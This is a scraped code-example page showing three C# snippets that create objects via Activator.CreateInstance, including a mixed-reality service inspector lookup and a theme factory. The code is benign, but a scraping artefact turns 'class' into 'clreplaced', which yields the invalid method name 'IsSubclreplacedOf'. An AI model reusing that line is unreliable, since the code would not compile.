            if (type != null)
            {
                return (Control)Activator.CreateInstance(type)!;
            }
            else
            {
                return new TextBlock { Text = "Not Found: " + name };
            }
        }

19 View Source File : ServiceFacadeInspector.cs
License : Apache License 2.0
Project Creator : abist-co-ltd

private static bool GetServiceInspectorInstance(Type interfaceType, out IMixedRealityServiceInspector inspectorInstance)
        {
            inspectorInstance = null;

            Type inspectorType;
            if (inspectorTypeLookup.TryGetValue(interfaceType, out inspectorType))
            {
                if (!inspectorInstanceLookup.TryGetValue(inspectorType, out inspectorInstance))
                {
                    // If an instance of the clreplaced doesn't exist yet, create it now
                    try
                    {
                        inspectorInstance = (IMixedRealityServiceInspector)Activator.CreateInstance(inspectorType);
                        inspectorInstanceLookup.Add(inspectorType, inspectorInstance);
                        return true;
                    }
                    catch (Exception e)
                    {
                        Debug.LogError("Couldn't create instance of inspector type " + inspectorType);
                        Debug.LogException(e);
                    }
                }
                else
                {
                    return true;
                }
            }

            return inspectorInstance != null;
        }

19 View Source File : InteractableThemeBase.cs
License : Apache License 2.0
Project Creator : abist-co-ltd

public static InteractableThemeBase CreateTheme(Type themeType)
        {
            if (!themeType.IsSubclreplacedOf(typeof(InteractableThemeBase)))
            {
                Debug.LogError($"Trying to initialize theme of type {themeType} but type does not extend {typeof(InteractableThemeBase)}");
                return null;
            }

            return (InteractableThemeBase)Activator.CreateInstance(themeType);
        }

See More Examples